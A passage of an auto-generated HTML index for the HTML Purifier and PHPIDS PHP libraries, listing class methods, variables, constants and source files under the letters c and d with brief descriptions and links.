<dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#methodcreateEmpty">HTMLPurifier_TokenFactory::createEmpty()</a> in TokenFactory.php</div> - <div class="index-item-description">Creates a HTMLPurifier_Token_Empty.</div> - </dd> - <dt class="field"> - <span class="method-title">createEnd</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#methodcreateEnd">HTMLPurifier_TokenFactory::createEnd()</a> in TokenFactory.php</div> - <div class="index-item-description">Creates a HTMLPurifier_Token_End.</div> - </dd> - <dt class="field"> - <span class="method-title">createStart</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#methodcreateStart">HTMLPurifier_TokenFactory::createStart()</a> in TokenFactory.php</div> - <div class="index-item-description">Creates a HTMLPurifier_Token_Start.</div> - </dd> - <dt class="field"> - <span class="method-title">createText</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TokenFactory.html#methodcreateText">HTMLPurifier_TokenFactory::createText()</a> in TokenFactory.php</div> - <div class="index-item-description">Creates a HTMLPurifier_Token_Text.</div> - </dd> - <dt class="field"> - CSSPROP - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html#constCSSPROP">HTMLPurifier_ErrorStruct::CSSPROP</a> in ErrorStruct.php</div> - </dd> - <dt class="field"> - <span class="method-title">current</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodcurrent">HTMLPurifier_Injector::current()</a> in Injector.php</div> - <div class="index-item-description">Initializes the iterator at the current position. Use in a do {} while; loop to force the _forward and _backward functions to start at the current location.</div> - </dd> - <dt class="field"> - <span class="include-title">Composite.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Composite.php.html">Composite.php</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="include-title">Color.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Color.php.html">Color.php</a> in Color.php</div> - </dd> - <dt class="field"> - <span class="include-title">Composite.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Composite.php.html">Composite.php</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="include-title">CSS.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS.php.html">CSS.php</a> in CSS.php</div> - </dd> - <dt class="field"> - <span class="include-title">Color.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---Color.php.html">Color.php</a> in Color.php</div> - </dd> - <dt class="field"> - <span class="include-title">Chameleon.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Chameleon.php.html">Chameleon.php</a> in Chameleon.php</div> - </dd> - <dt class="field"> - <span class="include-title">Custom.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Custom.php.html">Custom.php</a> in Custom.php</div> - </dd> - <dt class="field"> - <span class="include-title">ChildDef.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef.php.html">ChildDef.php</a> in ChildDef.php</div> - </dd> - <dt class="field"> - <span class="include-title">Config.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Config.php.html">Config.php</a> in Config.php</div> - </dd> - <dt class="field"> - <span class="include-title">ConfigDef.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigDef.php.html">ConfigDef.php</a> in ConfigDef.php</div> - </dd> - <dt class="field"> - <span class="include-title">ConfigSchema.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Builder---ConfigSchema.php.html">ConfigSchema.php</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="include-title">ConfigSchema.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema.php.html">ConfigSchema.php</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="include-title">ContentSets.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ContentSets.php.html">ContentSets.php</a> in ContentSets.php</div> - </dd> - <dt class="field"> - <span class="include-title">Context.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Context.php.html">Context.php</a> in Context.php</div> - </dd> - <dt class="field"> - <span class="include-title">CSSDefinition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---CSSDefinition.php.html">CSSDefinition.php</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Cleanup.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache---Decorator---Cleanup.php.html">Cleanup.php</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="include-title">CommonAttributes.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---CommonAttributes.php.html">CommonAttributes.php</a> in CommonAttributes.php</div> - </dd> - <dt class="field"> - <span class="include-title">ConfigForm.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Printer---ConfigForm.php.html">ConfigForm.php</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="include-title">CSSDefinition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Printer---CSSDefinition.php.html">CSSDefinition.php</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Composite.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---Composite.php.html">Composite.php</a> in Composite.php</div> - </dd> - <dt class="field"> - <span class="include-title">Core.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---Core.php.html">Core.php</a> in Core.php</div> - </dd> - <dt class="field"> - <span class="include-title">Comment.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Token---Comment.php.html">Comment.php</a> in Comment.php</div> - </dd> - </dl> - <a name="d"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">d</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$data</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Text.html#var$data">HTMLPurifier_Token_Text::$data</a> in Text.php</div> - <div class="index-item-description">< PCDATA tag name compatible with DTD.</div> - </dd> - <dt class="field"> - <span class="var-title">$data</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_Comment.html#var$data">HTMLPurifier_Token_Comment::$data</a> in Comment.php</div> - </dd> - <dt class="field"> - <span class="var-title">$decorators</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#var$decorators">HTMLPurifier_DefinitionCacheFactory::$decorators</a> in DefinitionCacheFactory.php</div> - </dd> - <dt class="field"> - <span class="var-title">$def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_DenyElementDecorator.html#var$def">HTMLPurifier_AttrDef_CSS_DenyElementDecorator::$def</a> in DenyElementDecorator.php</div> - </dd> - <dt class="field"> - <span class="var-title">$def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_ImportantDecorator.html#var$def">HTMLPurifier_AttrDef_CSS_ImportantDecorator::$def</a> in ImportantDecorator.php</div> - </dd> - <dt class="field"> - <span class="var-title">$def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_CSSDefinition.html#var$def">HTMLPurifier_Printer_CSSDefinition::$def</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$def">HTMLPurifier_Config::$def</a> in Config.php</div> - <div class="index-item-description">Reference HTMLPurifier_ConfigSchema for value checking</div> - </dd> - <dt class="field"> - <span class="var-title">$def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#var$def">HTMLPurifier_Printer_HTMLDefinition::$def</a> in HTMLDefinition.php</div> - <div class="index-item-description">Instance of HTMLPurifier_HTMLDefinition, for easy access</div> - </dd> - <dt class="field"> - <span class="var-title">$default</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHashParser.html#var$default">HTMLPurifier_StringHashParser::$default</a> in StringHashParser.php</div> - </dd> - <dt class="field"> - <span class="var-title">$default</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$default">HTMLPurifier_ConfigSchema_Interchange_Directive::$default</a> in Directive.php</div> - <div class="index-item-description">Default value, e.g. 3 or 'DefaultVal'.</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTML.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy_XHTML::$defaultLevel</a> in XHTML.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Transitional.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy_Transitional::$defaultLevel</a> in Transitional.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Name.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy_Name::$defaultLevel</a> in Name.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy::$defaultLevel</a> in Tidy.php</div> - <div class="index-item-description">Default level to place all fixes in. Disabled by default</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Proprietary.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy_Proprietary::$defaultLevel</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultLevel</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html#var$defaultLevel">HTMLPurifier_HTMLModule_Tidy_Strict::$defaultLevel</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defaults</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#var$defaults">HTMLPurifier_ConfigSchema::$defaults</a> in ConfigSchema.php</div> - <div class="index-item-description">Defaults of the directives and namespaces.</div> - </dd> - <dt class="field"> - <span class="var-title">$defaultScheme</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$defaultScheme">HTMLPurifier_URIDefinition::$defaultScheme</a> in URIDefinition.php</div> - <div class="index-item-description">Name of default scheme based on %URI.DefaultScheme and %URI.Base</div> - </dd> - <dt class="field"> - <span class="var-title">$default_port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_https.html#var$default_port">HTMLPurifier_URIScheme_https::$default_port</a> in https.php</div> - </dd> - <dt class="field"> - <span class="var-title">$default_port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_nntp.html#var$default_port">HTMLPurifier_URIScheme_nntp::$default_port</a> in nntp.php</div> - </dd> - <dt class="field"> - <span class="var-title">$default_port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_http.html#var$default_port">HTMLPurifier_URIScheme_http::$default_port</a> in http.php</div> - </dd> - <dt class="field"> - <span class="var-title">$default_port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme_ftp.html#var$default_port">HTMLPurifier_URIScheme_ftp::$default_port</a> in ftp.php</div> - </dd> - <dt class="field"> - <span class="var-title">$default_port</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIScheme.html#var$default_port">HTMLPurifier_URIScheme::$default_port</a> in URIScheme.php</div> - <div class="index-item-description">Scheme's default port (integer)</div> - </dd> - <dt class="field"> - <span class="var-title">$defines_child_def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$defines_child_def">HTMLPurifier_HTMLModule::$defines_child_def</a> in HTMLModule.php</div> - <div class="index-item-description">Boolean flag that indicates whether or not getChildDef is implemented.</div> - </dd> - <dt class="field"> - <span class="var-title">$defines_child_def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html#var$defines_child_def">HTMLPurifier_HTMLModule_Tidy_Strict::$defines_child_def</a> in Strict.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defines_child_def</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Edit.html#var$defines_child_def">HTMLPurifier_HTMLModule_Edit::$defines_child_def</a> in Edit.php</div> - </dd> - <dt class="field"> - <span class="var-title">$definitions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$definitions">HTMLPurifier_Config::$definitions</a> in Config.php</div> - <div class="index-item-description">Indexed array of definitions</div> - </dd> - <dt class="field"> - <span class="var-title">$definitions</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#var$definitions">HTMLPurifier_DefinitionCache_Decorator_Memory::$definitions</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="var-title">$defs</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Composite.html#var$defs">HTMLPurifier_AttrDef_CSS_Composite::$defs</a> in Composite.php</div> - <div class="index-item-description">List of HTMLPurifier_AttrDef objects that may process strings</div> - </dd> - <dt class="field"> - <span class="var-title">$deprecatedUse</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$deprecatedUse">HTMLPurifier_ConfigSchema_Interchange_Directive::$deprecatedUse</a> in Directive.php</div> - <div class="index-item-description">ID of directive that supercedes this old directive, is an instance of HTMLPurifier_ConfigSchema_Interchange_Id. Null if not deprecated.</div> - </dd> - <dt class="field"> - <span class="var-title">$deprecatedVersion</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$deprecatedVersion">HTMLPurifier_ConfigSchema_Interchange_Directive::$deprecatedVersion</a> in Directive.php</div> - <div class="index-item-description">Version of HTML Purifier this directive was deprecated. Null if not deprecated.</div> - </dd> - <dt class="field"> - <span class="var-title">$descendants_are_inline</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$descendants_are_inline">HTMLPurifier_ElementDef::$descendants_are_inline</a> in ElementDef.php</div> - <div class="index-item-description">Does the element have a content model (#PCDATA | Inline)*? This is important for chameleon ins and del processing in HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't have to worry about this one.</div> - </dd> - <dt class="field"> - <span class="var-title">$description</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Namespace.html#var$description">HTMLPurifier_ConfigSchema_Interchange_Namespace::$description</a> in Namespace.php</div> - <div class="index-item-description">HTML description.</div> - </dd> - <dt class="field"> - <span class="var-title">$description</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$description">IDS_Filter::$description</a> in Filter.php</div> - <div class="index-item-description">Filter description</div> - </dd> - <dt class="field"> - <span class="var-title">$description</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html#var$description">HTMLPurifier_ConfigSchema_Interchange_Directive::$description</a> in Directive.php</div> - <div class="index-item-description">HTML description.</div> - </dd> - <dt class="field"> - <span class="var-title">$dir</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html#var$dir">HTMLPurifier_LanguageFactory::$dir</a> in LanguageFactory.php</div> - <div class="index-item-description">Cached copy of dirname(__FILE__), directory of current file without</div> - </dd> - <dt class="field"> - <span class="var-title">$directive</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html#var$directive">HTMLPurifier_ConfigSchema_Interchange_Id::$directive</a> in Id.php</div> - </dd> - <dt class="field"> - <span class="var-title">$directives</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html#var$directives">HTMLPurifier_ConfigSchema_Interchange::$directives</a> in Interchange.php</div> - <div class="index-item-description">Array of Directive ID => array(directive info)</div> - </dd> - <dt class="field"> - <span class="var-title">$doctype</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#var$doctype">HTMLPurifier_HTMLDefinition::$doctype</a> in HTMLDefinition.php</div> - <div class="index-item-description">Doctype object</div> - </dd> - <dt class="field"> - <span class="var-title">$doctype</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$doctype">HTMLPurifier_HTMLModuleManager::$doctype</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Instance of current doctype</div> - </dd> - <dt class="field"> - <span class="var-title">$doctypes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$doctypes">HTMLPurifier_HTMLModuleManager::$doctypes</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Instance of HTMLPurifier_DoctypeRegistry</div> - </dd> - <dt class="field"> - <span class="var-title">$doctypes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#var$doctypes">HTMLPurifier_DoctypeRegistry::$doctypes</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Hash of doctype names to doctype objects</div> - </dd> - <dt class="field"> - <span class="var-title">$docURL</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html#var$docURL">HTMLPurifier_Injector_PurifierLinkify::$docURL</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="var-title">$docURL</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#var$docURL">HTMLPurifier_Printer_ConfigForm::$docURL</a> in ConfigForm.php</div> - <div class="index-item-description">Documentation URL, can have fragment tagged on end</div> - </dd> - <dt class="field"> - <span class="var-title">$dtdPublic</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$dtdPublic">HTMLPurifier_Doctype::$dtdPublic</a> in Doctype.php</div> - <div class="index-item-description">Public DTD identifier</div> - </dd> - <dt class="field"> - <span class="var-title">$dtdSystem</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html#var$dtdSystem">HTMLPurifier_Doctype::$dtdSystem</a> in Doctype.php</div> - <div class="index-item-description">System DTD identifier</div> - </dd> - <dt class="field"> - <span class="var-title">$dtd_regex</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html#var$dtd_regex">HTMLPurifier_ChildDef_Custom::$dtd_regex</a> in Custom.php</div> - <div class="index-item-description">Allowed child pattern as defined by the DTD</div> - </dd> - <dt class="field"> - <span class="include-title">Database.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Database.php.html">Database.php</a> in Database.php</div> - </dd> - <dt class="field"> - <span class="method-title">dataHandler</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_PEARSax3.html#methoddataHandler">HTMLPurifier_Lexer_PEARSax3::dataHandler()</a> in PEARSax3.php</div> - <div class="index-item-description">Data event handler, interface is defined by PEAR package.</div> - </dd> - <dt class="field"> - <span class="method-title">decorate</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methoddecorate">HTMLPurifier_DefinitionCache_Decorator::decorate()</a> in Decorator.php</div> - <div class="index-item-description">Lazy decorator function</div> - </dd> - <dt class="field"> - <span class="method-title">define</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methoddefine">HTMLPurifier_ConfigSchema::define()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">defineAlias</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methoddefineAlias">HTMLPurifier_ConfigSchema::defineAlias()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">defineAllowedValues</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methoddefineAllowedValues">HTMLPurifier_ConfigSchema::defineAllowedValues()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">defineNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methoddefineNamespace">HTMLPurifier_ConfigSchema::defineNamespace()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">defineValueAliases</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#methoddefineValueAliases">HTMLPurifier_ConfigSchema::defineValueAliases()</a> in ConfigSchema.php</div> - </dd> - <dt class="field"> - <span class="method-title">destroy</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html#methoddestroy">HTMLPurifier_Context::destroy()</a> in Context.php</div> - <div class="index-item-description">Destorys a variable in the context.</div> - </dd> - <dt class="field"> - DIGITAL - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_UnitConverter.html#constDIGITAL">HTMLPurifier_UnitConverter::DIGITAL</a> in UnitConverter.php</div> - </dd> - <dt class="field"> - DOCTYPE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constDOCTYPE">HTML5::DOCTYPE</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">doSetup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#methoddoSetup">HTMLPurifier_CSSDefinition::doSetup()</a> in CSSDefinition.php</div> - <div class="index-item-description">Constructs the info array. The meat of this class.</div> - </dd> - <dt class="field"> - <span class="method-title">doSetup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Definition.html#methoddoSetup">HTMLPurifier_Definition::doSetup()</a> in Definition.php</div> - <div class="index-item-description">Sets up the definition object into the final form, something</div> - </dd> - <dt class="field"> - <span class="method-title">doSetup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methoddoSetup">HTMLPurifier_URIDefinition::doSetup()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">doSetup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methoddoSetup">HTMLPurifier_HTMLDefinition::doSetup()</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">doSetupProprietary</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#methoddoSetupProprietary">HTMLPurifier_CSSDefinition::doSetupProprietary()</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">doSetupTricky</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html#methoddoSetupTricky">HTMLPurifier_CSSDefinition::doSetupTricky()</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Database.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Log---Database.php.html">Database.php</a> in Database.php</div> - </dd> - <dt class="field"> - <span class="include-title">DenyElementDecorator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---DenyElementDecorator.php.html">DenyElementDecorator.php</a> in DenyElementDecorator.php</div> - </dd> - <dt class="field"> - <span class="include-title">Directive.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigDef---Directive.php.html">Directive.php</a> in Directive.php</div> - </dd> - <dt class="field"> - <span class="include-title">DirectiveAlias.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigDef---DirectiveAlias.php.html">DirectiveAlias.php</a> in DirectiveAlias.php</div> - </dd> - <dt class="field"> - <span class="include-title">Directive.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ConfigSchema---Interchange---Directive.php.html">Directive.php</a> in Directive.php</div> - </dd> - <dt class="field"> - <span class="include-title">Definition.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Definition.php.html">Definition.php</a> in Definition.php</div> - </dd> - <dt class="field"> - <span class="include-title">Decorator.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache---Decorator.php.html">Decorator.php</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="include-title">DefinitionCache.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCache.php.html">DefinitionCache.php</a> in DefinitionCache.php</div> - </dd> - <dt class="field"> - <span class="include-title">DefinitionCacheFactory.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DefinitionCacheFactory.php.html">DefinitionCacheFactory.php</a> in DefinitionCacheFactory.php</div> - </dd> - <dt class="field"> - <span class="include-title">Doctype.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Doctype.php.html">Doctype.php</a> in Doctype.php</div> - </dd> - <dt class="field"> - <span class="include-title">DoctypeRegistry.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---DoctypeRegistry.php.html">DoctypeRegistry.php</a> in DoctypeRegistry.php</div> - </dd> - <dt class="field"> - <span class="include-title">DisplayLinkURI.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---DisplayLinkURI.php.html">DisplayLinkURI.php</a> in DisplayLinkURI.php</div> - </dd> - <dt class="field"> - <span class="include-title">DirectLex.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Lexer---DirectLex.php.html">DirectLex.php</a> in DirectLex.php</div> - </dd> - <dt class="field"> - <span class="include-title">DOMLex.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Lexer---DOMLex.php.html">DOMLex.php</a> in DOMLex.php</div> - </dd> - <dt class="field"> - <span class="include-title">DisableExternal.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 